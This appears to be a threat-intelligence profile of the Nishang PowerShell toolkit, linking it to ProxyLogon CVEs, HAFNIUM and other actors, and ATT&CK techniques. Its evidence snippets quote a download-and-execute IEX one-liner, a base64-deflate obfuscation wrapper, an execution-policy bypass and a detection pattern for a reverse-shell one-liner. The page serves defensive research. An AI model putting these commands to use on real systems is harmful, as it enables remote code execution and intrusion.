Skip to main content
Mallory
Malware66 associated actors4 associated CVEs

Nishang

Tracked since Dec 30, 2025 · Updated 2 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns4Associated
Actors66Associated
ATT&CK14Techniques
IOCs0Tracked
Type
RAT
Capabilities
Credential theftPersistenceLateral movementPost exploitationReconnaissance
Platforms
Windows

Nishang is a PowerShell-based offensive security toolkit comprising scripts and payloads for penetration testing and post-exploitation on Windows systems. Its capabilities include reconnaissance, persistence, lateral movement, credential harvesting, and remote command execution. It is a collection of tools rather than a single malware payload, and threat actors abuse its components alongside other intrusion utilities.

Nishang includes a TCP reverse-shell utility that initiates an outbound connection to an attacker-controlled command-and-control server, enabling remote interaction with a compromised system. Its Get-PassHashes script extracts password hashes and requires existing administrator privileges. The toolkit also includes Antak, an ASPX web shell.

HAFNIUM, also tracked as Ant, deployed Nishang as a post-compromise tool during exploitation of on-premises Microsoft Exchange servers in 2021. Nishang has also been observed in Medusa ransomware intrusions, where attackers used Get-PassHashes for credential dumping. These deployments establish its use in both state-sponsored intrusion activity and financially motivated ransomware operations.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2021-27065via symantec enterprise blogsMicrosoft Exchange Server Arbitrary File Write in the ProxyLogon ChainMicrosoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.View vulnerability →Source ↗
CVE-2021-26855via splunk security blogProxyLogon SSRF in Microsoft Exchange Serverthe dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.View vulnerability →Source ↗
CVE-2021-26857via splunk security blogMicrosoft Exchange Unified Messaging Insecure Deserialization RCEthe dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.View vulnerability →Source ↗
CVE-2021-26858via splunk security blogPost-authentication arbitrary file write in Microsoft Exchange Serverthe dumping of LSASS, the use of Nishang Powershell one-liners and much more that are incredibly helpful for monitoring for activity that other actors might use as well.View vulnerability →Source ↗
Threat actors

Associated threat actors

66 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
HAFNIUM

Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.

via symantec enterprise blogssymantec-enterprise-blogs.security.com
Ant

Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.

via symantec enterprise blogssymantec-enterprise-blogs.security.com
FIN10

The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.

via splunk researchresearch.splunk.com
TA2541

The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.

via splunk researchresearch.splunk.com
TeamTNT

The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.

via splunk researchresearch.splunk.com
BRONZE BUTLER

The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server.

via splunk researchresearch.splunk.com

+60 more in the app. View in Mallory

MITRE ATT&CK

Techniques & procedures

14 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.002ToolEvidence1

The HAFNIUM threat group uses the following tools to help its post-compromise behaviors.

Execution

2 techniques
T1059Command and Scripting InterpreterEvidence1

Tools discovered may be pentest-utilities, for tunneling (SOCKS or other), reconnaissance scanners, exploitation code, reverse shells, malware loaders or trojans. The tools Procdump, Nishang and Powercat have been reported to be used by the HAFNIUM threat actor group according to Microsoft.

T1059.001PowerShellEvidence8

psi.FileName = "powershell.exe"; psi.Arguments = "-noninteractive " + "-executionpolicy bypass " + arg; | Use powershell one-liner (example below) for download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]

Persistence

1 technique
T1505.003Web ShellEvidence1

Antak - A Webshell which utilizes PowerShell.

Stealth

2 techniques
T1027Obfuscated Files or InformationEvidence1

Paste the script in command textbox and click 'Encode and Execute'.

T1140Deobfuscate/Decode Files or InformationEvidence1

string code = Convert.ToBase64String(ms.ToArray()); string command = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('" + code + "')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();";

Credential Access

1 technique
T1552.001Credentials In FilesEvidence1

Click on 'Parse Web.Config' button to get dabase connection string. By default, Antak looks for web.config in the C:\Inetpub directory.

Discovery

3 techniques
T1012Query RegistryEvidence1

Foreach ($file in (get-childitem $path -Filter web.config -Recurse))

T1082System Information DiscoveryEvidence1

The exploitation has predominantly been in the form of semi-automatic installation of webshells that seems to leave backdoors for future access, or more manual by using tools to first gather credentials and system information followed by lateral movement and further compromise.

T1518Software DiscoveryEvidence1

$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName

Command and Control

3 techniques
T1090ProxyEvidence1

Tools discovered may be pentest-utilities, for tunneling (SOCKS or other), reconnaissance scanners, exploitation code, reverse shells, malware loaders or trojans.

T1105Ingress Tool TransferEvidence2

PowerShell [T1059.001] is used in this intrusion activity in import tools [T1105]

T1219Remote Access ToolsEvidence2

Nishang PowershellTCPOneLine ... (CommandLine=*Net.Sockets.TCPClient* AND CommandLine=*System.Text.ASCIIEncoding*)

Exfiltration

1 technique
T1048Exfiltration Over Alternative ProtocolEvidence1

To download a file enter the actual path on the server in command textbox. Then click on Download button.

Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matchingMatch every observed IP, domain, and hash against your live telemetry.
Associated threat actors66Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities4CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping14Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.